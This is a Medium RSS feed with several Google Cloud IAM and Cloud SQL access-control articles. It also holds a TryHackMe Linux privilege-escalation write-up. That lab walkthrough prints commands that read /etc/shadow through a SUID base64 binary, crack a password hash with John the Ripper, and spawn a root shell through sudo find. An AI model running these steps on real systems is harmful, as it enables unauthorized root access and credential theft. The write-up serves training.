<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kannan Anandakrishnan on Medium]]></title>
        <description><![CDATA[Stories by Kannan Anandakrishnan on Medium]]></description>
        <link>https://medium.com/@kannan_ak?source=rss-d3b17016a1ae------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AVoIsHE9DS0Pelct5cOC2g.jpeg</url>
            <title>Stories by Kannan Anandakrishnan on Medium</title>
            <link>https://medium.com/@kannan_ak?source=rss-d3b17016a1ae------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 12:27:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kannan_ak/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[GCP — Self-serve timed access to GCP resources using Cloud Identity and Slack — Part 1]]></title>
            <link>https://medium.com/zeotap-customer-intelligence-unleashed/gcp-self-serve-timed-access-to-gcp-resources-using-cloud-identity-and-slack-part-1-12cb23559caf?source=rss-d3b17016a1ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/12cb23559caf</guid>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[gcp-weekly]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Fri, 04 Mar 2022 07:41:18 GMT</pubDate>
            <atom:updated>2022-03-04T08:14:16.239Z</atom:updated>
            <content:encoded><![CDATA[<h3>GCP: Self-serve timed access to GCP resources using Cloud Identity and Slack (Part 1)</h3><h3>Introduction</h3><p>To contextualize the close relationship between Identity and Access Management (IAM) and cloud infrastructures, one must (naturally) look toward the Marvel universe: if Marvel’s realm of Asgard is a cloud infrastructure, then Heimdall — the all-seeing gatekeeper of Asgard who protects the realm from unauthorized access — is IAM.</p><p>Because Identity and Access Management (IAM)is the key to access cloud resources, granting access to users only when required — and not by default — is key. But often times, because access is granted manually, users maintain access to cloud resources beyond the necessary.</p><p>In this two-part series, we unpack how to grant and automate the timed access to the GCP resources so that users can have access on-demand vs. by default.</p><h4><strong>IAM in GCP</strong></h4><p>To start, here’s a quick introduction into IAM in GCP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bmiL7sWWxpdJfTMwmoIxQw.png" /><figcaption>Fig 1.1 — IAM in GCP</figcaption></figure><ul><li><strong>Principal : </strong>A <em>principal</em> can be a Google Account (for end users), a service account (for applications and compute workloads), a Google group, or a Google Workspace account or Cloud Identity domain that can access a resource. The identity of a principal is an email address associated with a user, service account, or Google group.</li><li><strong>Role:</strong> A <em>role</em> is a collection of permissions. Permissions determine what operations are allowed on a resource. When you grant a role to a principal, you grant all of the permissions that the role contains.</li><li><strong>Resources: </strong>Everything that is being used on Google Cloud Platform is said to be resources in the context of IAM. From the organization to folders, projects, buckets, instances, etc, all resources are organized hierarchically.</li></ul><h4><strong>IAM Policy</strong></h4><p>The <em>IAM policy</em> is a collection of role bindings that bind one or more principals to individual roles. When you want to define who (principal) has what type of access (role) on which resource, you create a policy and attach it to the resource.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*51qWi44U0QEd6O2qnosQAA.png" /><figcaption>Fig 1.2 — IAM Policy</figcaption></figure><p>In GCP, access is managed through <em>IAM policies. </em>Every time we create, update, or remove access in the console, GCP modifies the bindings in the policy accordingly behind the scenes.</p><p>We can’t access this IAM policy in console. Instead, we can fetch it through gcloud command using getIamPolicy() and apply it using setIamPolicy()</p><pre># Example policy yaml - 1 </pre><pre>{<br>  &quot;version&quot;: 1,<br>  &quot;etag&quot;: &quot;Xxxxxxxxx=&quot;,<br>  &quot;bindings&quot;: [<br>    {<br>      &quot;role&quot;: &quot;roles/editor&quot;,<br>      &quot;members&quot;: [<br>        &quot;user:project-editor@example.com&quot;<br>      ]<br>    },<br>    {<br>      &quot;role&quot;: &quot;roles/iam.securityReviewer&quot;,<br>      &quot;members&quot;: [<br>        &quot;user:sundar.pichai@example.com&quot;<br>      ]<br>    }<br>  ]<br>}</pre><p>GCP IAM supports conditional role bindings in IAM policies which allow us to grant temporary access to GCP resources. By using the <a href="https://cloud.google.com/iam/docs/conditions-attribute-reference#date-time">date/time attributes</a>, we can enforce time-based controls when accessing a given resource.</p><pre># Example policy yaml - 2</pre><pre>{<br>  &quot;version&quot;: 1,<br>  &quot;etag&quot;: &quot;Xxxxxxxx=&quot;,<br>  &quot;bindings&quot;: [<br>    {<br>      &quot;role&quot;: &quot;roles/editor&quot;,<br>      &quot;members&quot;: [<br>        &quot;user:project-editor@example.com&quot;<br>      ]<br>    },<br>    {<br>      &quot;role&quot;: &quot;roles/iam.securityReviewer&quot;,<br>      &quot;members&quot;: [<br>        &quot;user:sundar.pichai@example.com&quot;<br>      ]<br>      &quot;condition&quot;: {<br>        &quot;title&quot;: &quot;Expires_Mar_22_2022&quot;,<br>        &quot;description&quot;: &quot;Expires on Mar 22, 2022&quot;,<br>        &quot;expression&quot;:<br>          &quot;request.time &lt; timestamp(&#39;2022-22-03T00:00:00.000Z&#39;)&quot;<br>      }<br>    }<br>  ]<br>}</pre><p>Conditional IAM policies can be applied at any resource levels — organization, projects, buckets, etc. — and as long as the condition satisfies the user/identity can access the resources.</p><p>Although this looks like a straightforward approach, there are many challenges in adopting this in a production environment.</p><h4>Challenges with IAM conditional role bindings</h4><p><strong>1. Cleaning up expired roles in the policy bindings</strong></p><p>Even though access to the principals/users expire after the specified date/time, the binding will continue to remain in the policy unless we remove it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8cIjWn_C4opmG_lzqW4T_A.png" /><figcaption>Fig 1.3 Expired role bindings remain in the policy</figcaption></figure><p>So, every time we add a time based conditional role, we have to keep a track of it and remove it from the policy once it expires — which is a lot of management overhead.</p><p><strong>2. Limitations on the policies role bindings</strong></p><p>Every time we grant/modify access, the IAM policy is updated. There are certain limitations on this which will affect us at a later stage.</p><p>As highlighted in point number #1, we can’t add more than 20 different condition expressions to the same user and the role, unless we clean up the older bindings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ty-IRg-9C3C5CDxGa90BZA.png" /><figcaption>Fig 1.4 IAM quotas and limits in GCP. Ref: <a href="https://cloud.google.com/iam/quotas">https://cloud.google.com/iam/quotas</a></figcaption></figure><p><strong>3. Playing with policy (or fire)</strong></p><p>When we make changes directly to the policy, GCP will overwrite the existing policy and apply the newer policy.</p><p>This poses a huge risk of wiping out all of the existing role bindings (i.e delete all access granted at the IAM) if we inadvertently pass an empty or a new binding. So whenever we grant access, we have to create a copy of the existing policy and make changes to it, which requires careful tracking and handling of it.</p><p>Also, the higher the level of resource that is changed in the policy (base resource -&gt; project -&gt; folder -&gt; organization), the higher the risk. There are cases where engineers locked themselves out of the project by accidentally deleting the IAM policy.</p><p>When we faced the same challenges at Zeotap, we decided not to explore this route, instead going with an out-of-the-box (or out of the IAM) solution.</p><h4>Google Cloud Identity</h4><p>Cloud Identity is an Identity as a Service (IDaaS) solution that helps centrally manage the users, groups, apps, and devices. Using Cloud Identity, we can centrally manage access to Gmail, Google Drive, Google Cloud Platform and all other google services with a SSO.</p><p>A Cloud Identity or Google Workspace account (formerly G Suite) is created when a company signs up for Cloud Identity or Google Workspace. By default, the account name in Cloud Identity will be our organization name in Google Cloud Platform.</p><p>When we create users or groups in cloud identity, the same can be used in Google Cloud Platform as principals to grant access to any resources. So instead of adding users to IAM, we can add/remove users to groups in our Google workspace and map the groups in IAM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0XL-HeKKCv0c_Pk-iCcfXQ.png" /><figcaption>Fig 1.5 Managing users in cloud identity google group</figcaption></figure><p>This way we won’t be interacting with the IAM policy in Google Cloud Projects and the role bindings will continue to remain the same.</p><h4>Membership expiration</h4><p>Last year, Google Workspace introduced the G<a href="https://workspaceupdates.googleblog.com/2021/02/automatic-membership-expiration-google-groups-generally-available.html">oogle memberships expiration </a>feature. It enables the following:</p><blockquote>The Cloud Identity Groups API feature that enables you to set expirations for group memberships is now generally available.</blockquote><blockquote>This enables admins to set an amount of time that users and service accounts are members of a group. Once the specified time has passed, users will be removed from the group automatically.</blockquote><p>With the membership expiration feature, there is no operation overhead of maintaining the status and removing users from the group. Google Workspace takes care of it and the users won’t be able to access the GCP resources once the time duration expires.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AzlFVmc1gD7zOGmOtRx0JA.png" /></figure><p>We can manage this groups membership using Groups API provided by Cloud Identity. (Ref: <a href="https://cloud.google.com/identity/docs/how-to/memberships-google-groups#rest">https://cloud.google.com/identity/docs/how-to/memberships-google-groups#rest</a>)</p><pre># Sample Code to add a member with expiration policy</pre><pre>from googleapiclient.discovery import build</pre><pre>service = build(&#39;cloudidentity&#39;, &#39;v1&#39;)</pre><pre>body = {<br>    &quot;roles&quot;: [<br>        {<br>            &quot;name&quot;: &quot;MEMBER&quot;,<br>            &quot;expiryDetail&quot;: {<br>                &quot;expireTime&quot;: &quot;2022-03-22T00:00:00Z&quot;<br>            }<br>        }<br>    ],<br>    &quot;preferredMemberKey&quot;: {<br>        &quot;id&quot;: &quot;sundar.pichai@example.com&quot;<br>    }<br>}</pre><pre>results = service.groups().memberships().create(parent=bucket-viewers@example.com&#39;, body=body).execute()<br></pre><p><strong>Note:</strong> This feature is only available to Google Workspace Enterprise Standard, Enterprise Plus, and Enterprise for Education, and Cloud Identity Premium accounts.</p><h4>Summary</h4><p>As we have seen, GCP’s IAM expiry option comes with a lot of operational overhead, limits, and risks. Google Cloud Identity provides a seamless way to handle the timed access to our production resources.</p><p>In Part 2 of this series, I will demonstrate how to implement this as an application and trigger it using Slack commands to make it a completely automated self-serve model.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12cb23559caf" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zeotap-customer-intelligence-unleashed/gcp-self-serve-timed-access-to-gcp-resources-using-cloud-identity-and-slack-part-1-12cb23559caf">GCP — Self-serve timed access to GCP resources using Cloud Identity and Slack — Part 1</a> was originally published in <a href="https://medium.com/zeotap-customer-intelligence-unleashed">Zeotap — Customer Intelligence Unleashed</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeup on TryHackMe (THM) Linux Privilege Escalation Capstone Challenge]]></title>
            <link>https://medium.com/@kannan_ak/writeup-on-tryhackme-thm-linux-privilege-escalation-capstone-challenge-6a06f469c2c5?source=rss-d3b17016a1ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a06f469c2c5</guid>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Mon, 07 Feb 2022 18:47:59 GMT</pubDate>
            <atom:updated>2022-02-07T18:47:59.045Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xZ1lv5paYVbsZnWO" /><figcaption>Photo by <a href="https://unsplash.com/@ikukevk?utm_source=medium&amp;utm_medium=referral">Kevin Ku</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>This writeup is about the capstone challenge given in the Linux Privilege Escalation room in the TryHackMe.</p><p><strong>Link</strong>: <a href="https://tryhackme.com/room/linprivesc">https://tryhackme.com/room/linprivesc</a></p><p>Privilege Escalation room covered a wide variety of privilege escalation options in a linux server.</p><p>The main ones covered in this room are:<br>- SUDO access<br>- SUID bit<br>- Cron Jobs<br>- NFS share<br>- PATH<br>- Kernel exploits<br>- Capabilities</p><p>For the capstone challenge We’ve been given with the target details and asked us to find two flags.</p><h3><strong>Problem Description</strong></h3><blockquote>You have gained SSH access to a large scientific facility. Try to elevate your privileges until you are Root.</blockquote><blockquote>You can access the target machine over your browser or use the SSH credentials below.</blockquote><blockquote>Username: leonard<br>Password: Penny123</blockquote><h4><strong>Reconnaissance</strong></h4><p>Lets login to the target as `leonard` user</p><p><strong>Sudo access check</strong></p><pre>[leonard@ip-10–10–19–185 ~]$ sudo -l</pre><pre>We trust you have received the usual lecture from the local System<br>Administrator. It usually boils down to these three things:</pre><pre>#1) Respect the privacy of others.<br> #2) Think before you type.<br> #3) With great power comes great responsibility.</pre><pre>[sudo] password for leonard:<br>Sorry, user leonard may not run sudo on ip-10–10–19–185.</pre><p>Result: No sudo access</p><p><strong>Cron jobs check</strong></p><pre>[leonard@ip-10–10–19–185 ~]$ cat /etc/crontab<br>SHELL=/bin/bash<br>PATH=/sbin:/bin:/usr/sbin:/usr/bin<br>MAILTO=root</pre><pre># For details see man 4 crontabs</pre><pre># Example of job definition:<br># . — — — — — — — — minute (0–59)<br># | . — — — — — — — hour (0–23)<br># | | . — — — — — day of month (1–31)<br># | | | . — — — — month (1–12) OR jan,feb,mar,apr …<br># | | | | . — — day of week (0–6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat<br># | | | | |<br># * * * * * user-name command to be executed<br></pre><p><strong>Result</strong>: No cron jobs present to exploit</p><p><strong>NFS exports check</strong></p><pre>[leonard@ip-10–10–19–185 ~]$ cat /etc/exports<br>[leonard@ip-10–10–19–185 ~]$</pre><p><strong>Result</strong>: No NFS shares</p><p><strong>SUID bit check</strong></p><pre><br>[leonard@ip-10–10–19–185 ~]$ find / -type f -perm -04000 -ls 2&gt;/dev/null | cut -d ‘/’ -f 1,2,3,4</pre><pre>/usr/bin/base64<br>/usr/bin/ksu<br>/usr/bin/fusermount<br>/usr/bin/passwd<br>/usr/bin/gpasswd<br>/usr/bin/chage<br>/usr/bin/newgrp<br>/usr/bin/staprun<br>/usr/bin/chfn<br>/usr/bin/su<br>/usr/bin/chsh<br>/usr/bin/Xorg<br>/usr/bin/mount<br>/usr/bin/umount<br>/usr/bin/crontab<br>/usr/bin/pkexec<br>/usr/bin/at<br>/usr/bin/sudo<br>/usr/sbin/pam_timestamp_check<br>/usr/sbin/unix_chkpwd<br>/usr/sbin/usernetctl<br>/usr/sbin/userhelper<br>/usr/sbin/mount.nfs<br>/usr/lib/polkit-1<br>/usr/libexec/kde4<br>/usr/libexec/dbus-1<br>/usr/libexec/spice-gtk-x86_64<br>/usr/libexec/qemu-bridge-helper<br>/usr/libexec/sssd<br>/usr/libexec/sssd<br>/usr/libexec/sssd<br>/usr/libexec/sssd<br>/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache<br>/usr/libexec/flatpak-bwrap<br></pre><p><strong>Result</strong>: We have handful of binaries with suid bit enabled. Lets see where the flags could possibly present</p><h4><strong>Home Directories Listing</strong></h4><pre><br>[leonard@ip-10–10–19–185 ~]$ ls /home/<br>leonard missy rootflag<br>[leonard@ip-10–10–19–185 ~]$ ls /home/*<br>/home/leonard:<br>perl5<br>ls: cannot open directory /home/missy: Permission denied<br>ls: cannot open directory /home/rootflag: Permission denied<br>```</pre><p>So we got three directories present under /home, but only leonard directory is accessible and permission doesn’t exist for the home directories of missy and rootflag.</p><p>Let’s look at the /etc/passwd to verify the possible users present in the system.</p><pre>$ cat /etc/passwd</pre><pre>tcpdump:x:72:72::/:/sbin/nologin<br>leonard:x:1000:1000:leonard:/home/leonard:/bin/bash<br>mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin<br>smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin<br>nscd:x:28:28:NSCD Daemon:/:/sbin/nologin<br>missy:x:1001:1001::/home/missy:/bin/bash</pre><p>Passwd file showed that only user <strong><em>missy</em></strong> is present in the server and no user named <strong><em>rootflag</em></strong></p><p>Alright now we have to break into missy user to identify the possibilites of privilege escalation.</p><p>—</p><h4><strong>Cracking Shadow file</strong></h4><p>To crack the credentials of Missy, we need the hashed password of the user from shadow file. To read the shadow file, let’s use one of the applications with SUID bit set.</p><p><strong>Link</strong>: <a href="https://gtfobins.github.io/gtfobins/base64/">https://gtfobins.github.io/gtfobins/base64/</a></p><p>base64 with SUID bit enables to read any privileged file, so let’s grab the contents of /etc/shadow</p><pre><br>LFILE=/etc/shadow<br>./base64 “$LFILE” | base64 — decode<br></pre><p>Now copy the entry for missy in both /etc/passwd and /etc/shadow file.</p><pre>passwd -&gt; missy:x:1001:1001::/home/missy:/bin/bash</pre><pre>shadow -&gt; missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::</pre><h4><strong>John the Ripper</strong></h4><p>The unshadow tool combines the passwd and shadow files so <a href="https://github.com/openwall/john"><strong>John</strong></a> can use them.</p><pre>unshadow pass.txt shad.txt &gt; crack.txt</pre><p>Let’s unleash John the Ripper to crack the hash.</p><pre><br>$ john — wordlist=/usr/share/wordlists/rockyou.txt crack.txt</pre><pre>Warning: detected hash type “sha512crypt”, but the string is also recognized as “sha512crypt-opencl”<br>Use the “ — format=sha512crypt-opencl” option to force loading these as that type instead<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])<br>Cost 1 (iteration count) is 5000 for all loaded hashes<br>Will run 2 OpenMP threads<br>Press ‘q’ or Ctrl-C to abort, almost any other key for status<br>Password1 (missy)<br></pre><p>Now we got the password for the user missy — <strong><em>Password1</em></strong></p><p>Let’s login as missy and do the reconnaissance again for privilege escalation possibilities.</p><pre><br>[missy@ip-10–10–19–185 ~]$ sudo su -<br>[sudo] password for missy:<br>Sorry, user missy is not allowed to execute ‘/bin/su -’ as root on ip-10–10–19–185.<br></pre><pre>[missy@ip-10–10–19–185 ~]$ sudo -l<br>Matching Defaults entries for missy on ip-10–10–19–185:<br> !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep=”COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS”, env_keep+=”MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE”, env_keep+=”LC_COLLATE<br> LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES”, env_keep+=”LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE”, env_keep+=”LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY”, secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin</pre><pre><br>User missy may run the following commands on ip-10–10–19–185:<br> (ALL) NOPASSWD: /usr/bin/find</pre><pre><br>[missy@ip-10–10–19–185 ~]$ cat /etc/exports<br>[missy@ip-10–10–19–185 ~]$ cat /etc/crontab<br>SHELL=/bin/bash<br>PATH=/sbin:/bin:/usr/sbin:/usr/bin<br>MAILTO=root</pre><pre># For details see man 4 crontabs<br># Example of job definition:<br># . — — — — — — — — minute (0–59)<br># | . — — — — — — — hour (0–23)<br># | | . — — — — — day of month (1–31)<br># | | | . — — — — month (1–12) OR jan,feb,mar,apr …<br># | | | | . — — day of week (0–6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat<br># | | | | |<br># * * * * * user-name command to be executed</pre><p><strong>Results</strong><br>- No full sudo access<br>- Sudo is allowed only for /usr/bin/find command without password<br>- No NFS shares<br>- No Cron jobs</p><h3><strong>Privilege Escalation using Find</strong></h3><p>We can escalate our privileges using Find if our user has sudo access to it.</p><p>Link: <a href="https://gtfobins.github.io/gtfobins/find/">https://gtfobins.github.io/gtfobins/find/</a></p><pre><br>Sudo<br>If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.</pre><pre>sudo find . -exec /bin/sh \; -quit<br></pre><p>So using that, I managed to escalate my privileges and found the flags.</p><pre><br>[missy@ip-10–10–19–185 ~]$ sudo find . -exec /bin/sh \; -quit</pre><pre>sh-4.2# whoami<br>root</pre><pre>sh-4.2# bash<br><br>[root@ip-10–10–19–185 missy]# ls /home/rootflag/<br>flag2.txt</pre><pre>[root@ip-10–10–19–185 missy]# cat /home/rootflag/flag2.txt<br>THM-168824782390238</pre><pre><br>[root@ip-10–10–19–185 missy]# find / -type f -name flag1.txt<br>/home/missy/Documents/flag1.txt</pre><pre><br>[root@ip-10–10–19–185 missy]# cat /home/missy/Documents/flag1.txt<br>THM-42828719920544<br>[root@ip-10–10–19–185 missy]#<br>```</pre><h3><strong>Summary</strong></h3><p>Linux privilege escalation capstone challenge is simple and an interesting exercise.</p><p>It helped me to review throughly all the possible opportunities to elevate our privileges into a target system. Also I learned many things new in this room such as exploitation using suid, sudo, path, cron jobs, nfs etc.,</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a06f469c2c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud SQL IAM database authentication — Manage user access to the databases in an efficient way]]></title>
            <link>https://medium.com/zeotap-customer-intelligence-unleashed/cloud-sql-iam-database-authentication-manage-user-access-to-the-databases-in-an-efficient-way-d323a6dcae52?source=rss-d3b17016a1ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/d323a6dcae52</guid>
            <category><![CDATA[gcp]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[cloud-sql]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <dc:creator><![CDATA[Kannan Anandakrishnan]]></dc:creator>
            <pubDate>Mon, 13 Sep 2021 17:00:30 GMT</pubDate>
            <atom:updated>2021-09-16T16:25:06.757Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cloud SQL IAM Database Authentication: Manage User Access to the Databases in an Efficient Way</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k3ZjU9A0i-9Y9apq" /><figcaption>Photo by <a href="https://unsplash.com/@nananadolgo?utm_source=medium&amp;utm_medium=referral">Nana Smirnova</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Introduction</h3><p>Cloud SQL is a fully managed relational database service for MySQL, PostgreSQL, and SQL Server offered by Google Cloud Platform. At<a href="http://zeotap.com/"> Zeotap</a>, we use Cloud SQL for our relational databases and our databases are predominantly PostgreSQL.</p><p>Every time we create a Cloud SQL instance, we create one admin account for the instance and this admin account has superuser permissions to the databases.</p><p>After the instance is created, we log in using the superuser account and create new users with permissions to the databases as required. These new user accounts are not bound to any individual, so it is shared within the team and all team members use the same credentials to log in.</p><p>There were multiple issues with this approach -</p><ul><li><strong>“Whodunit”: </strong>Since the user account typically has readwrite permissions, anyone can delete tables and rows. With shared credentials, we were unable to identify who executed the queries.</li><li><strong>Overhead in managing users: </strong>An alternative to shared credentials would be creating individual user accounts for each user — but with a large team, this becomes difficult to manage.</li><li><strong>Non-repudiation of actions taken by user credentials</strong>: Even with the individual user accounts, passwords are set and shared by the admins, so we couldn’t establish that the actions were performed only by that user.</li><li><strong>Password rotation</strong>: Per the enterprise password policy, passwords have to be rotated, which adds more overhead to the operations.</li></ul><p>With team members working remotely, it was difficult to work with shared credentials or create individual user accounts for each user. Thus, we looked for a more efficient solution to manage user access to the databases with proper auditing.</p><h3>Cloud SQL IAM Database Authentication</h3><p>Last year Google cloud announced support for IAM integration to the Cloud SQL. With this, users can login to the Cloud SQL using their email addresses (cloud identity) and the user permissions to the databases can be managed. This requires no passwords, authentication tokens are short-lived, and the users’ login activity are tracked in the logs.</p><p>We have implemented Cloud SQL IAM database authentication to all our databases and it made the user management of databases safer, secure, and efficient.</p><p>Let’s see how we can setup IAM database authentication in the Cloud Sql.</p><h3>Two Levels of Access Control</h3><p>With IAM database authentication, we have to grant permissions at two levels:</p><ol><li>IAM</li><li>Databases</li></ol><p><strong>IAM access</strong></p><p>This level allows individuals to connect to the Cloud SQL instance using their email addresses.</p><p><strong>Steps involved:</strong></p><ol><li>Add the below flag while creating a new instance or update the existing instance. This will allow the Cloud SQL instance to accept IAM authentication.</li></ol><pre>cloudsql.iam_authentication=on</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*htSo3Bk-w_SquDAFqnnlTA.png" /></figure><p>2. Grant “Cloud SQL Instance user” role to the users. This is to allow users to log in to the instance.</p><p>3. Add the users to the Cloud SQL.</p><p>Navigate to ‘Console → SQL → Select Instance → Users → Add user account→ Cloud IAM → Enter email address → Add’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fj6FKQKfnoc2XOhtFj75cw.png" /></figure><p>Now, the users can connect to the Cloud SQL instance and log in to the databases successfully. However, for querying and modifying the databases, we must grant access at the database level.</p><h4>Databases access</h4><p>In PostgreSQL, we can grant permissions directly to the database users. However, this is not a good practice and it is tedious to manage permissions for each user. The solution would be to make use of the roles in PostgreSQL which would simplify the permissions.</p><p>To recap: Users, groups, and roles are the same thing in PostgreSQL — the only difference being that users have permission to log in by default.</p><ul><li>Role = User — Login Access</li><li>User = Role + Login Access</li></ul><p>We can create multiple roles with specific sets of permissions based on requirements and then assign the appropriate role to each user.</p><p>To simplify, let’s create two roles: one with Readonly access, and another with Readwrite access.</p><p><strong>ReadOnly role</strong></p><p>This role only allows you to run select queries on the tables of the database:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c1bd0ef3a27c178eb1117284b48ca5a9/href">https://medium.com/media/c1bd0ef3a27c178eb1117284b48ca5a9/href</a></iframe><p>If there are multiple databases in the instance, we can repeat the above commands (except create role) by connecting to those databases.</p><p><strong>ReadWrite role</strong></p><p>This role allows you to run insert, update, and delete queries on the tables of the database:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b111680f557244e094a10ac9b19669a8/href">https://medium.com/media/b111680f557244e094a10ac9b19669a8/href</a></iframe><p>If there are multiple databases in the instance, we can repeat the above commands (except create role) by connecting to those databases.</p><p><strong>Grant role to the users</strong></p><p>After the roles are created, we can grant roles to the users accordingly.</p><pre>GRANT read_only to firstname.lastname@example.com</pre><pre>GRANT read_write to firstname.lastname@example.com</pre><p>Since the roles are already defined, we just have to grant roles to the users, and we can create new roles or modify the roles as per the requirements. Any changes to the roles will reflect on the users’s access as well.</p><h4>How to Access Databases Using Cloud SQL IAM Database Authentication</h4><p>The secure way to connect to a Cloud SQL instance is via <a href="https://cloud.google.com/sql/docs/postgres/sql-proxy">CloudSQL Auth proxy</a>.</p><p>After installing of latest version Cloud SQL auth proxy binary, we then authenticate to the Google Cloud IAM.</p><pre># This will generate a unique token for our user account</pre><pre>$ gcloud auth login</pre><p>After the authentication is successful, we create the proxy connection to the Cloud SQL instance.</p><pre>$ ./cloud_sql_proxy -enable_iam_login -instances=PROJECT:REGION:CLOUDSQL_INSTANCE_NAME=tcp:port</pre><p>Once the connection is established, we can connect to the database using our email address.</p><pre>$ psql &quot;host=127.0.0.1 port=$CLOUDSQLPROXYPORT dbname=$DBNAME <a href="/service/mailto:user=firstname.lastname@zeotap.com">user=firstname.lastname@zeotap.com</a> sslmode=disable&quot;</pre><pre>or</pre><pre>$ PGPASSWORD=$(gcloud auth print-access-token) psql --host=localhost --<a href="/service/mailto:username=firstname.lastname@zeotap.com">username=firstname.lastname@zeotap.com</a> --dbname=$DBNAME --port=$CLOUDSQLPROXYPORT --sslmode=disable</pre><p>Since we are connecting to the CloudSQL instance publicly, it will expect a SSL certificate — so, thesslmode parameter is set to disable.However, the Cloud SQL Auth proxy does provide an encrypted connection.</p><p>For users using Postgres utilities such as ‘PGAdmin’, ‘PGCommander’, ‘TablePlus’, the authentication token can be provided as the password.</p><pre># To get the authentication token, after gcloud auth login</pre><pre>$ gcloud auth print-access-token</pre><p>We also have the option to session timeout for Google Cloud Platform for a specific window of time, so the authentication token is valid only for the time specified. After the the token expires, a user must repeat ‘<em>gcloud auth login’</em> to connect to the databases.</p><h3>Summary</h3><p>Cloud SQL IAM database authentication helps us better manage database access to users. Access to the instance controlled via IAM, authentication tokens as login passwords, and session timeout for tokens are the most secure, robust ways to manage database user access.</p><p>In our next series of posts, we will show how we automate the process of granting IAM access to the individual users.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d323a6dcae52" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zeotap-customer-intelligence-unleashed/cloud-sql-iam-database-authentication-manage-user-access-to-the-databases-in-an-efficient-way-d323a6dcae52">Cloud SQL IAM database authentication — Manage user access to the databases in an efficient way</a> was originally published in <a href="https://medium.com/zeotap-customer-intelligence-unleashed">Zeotap — Customer Intelligence Unleashed</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GKE Workload Identity — A secure way for GKE applications to access GCP services]]></title>
            <link>https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c?source=rss-d3b17016a1ae------2</link>
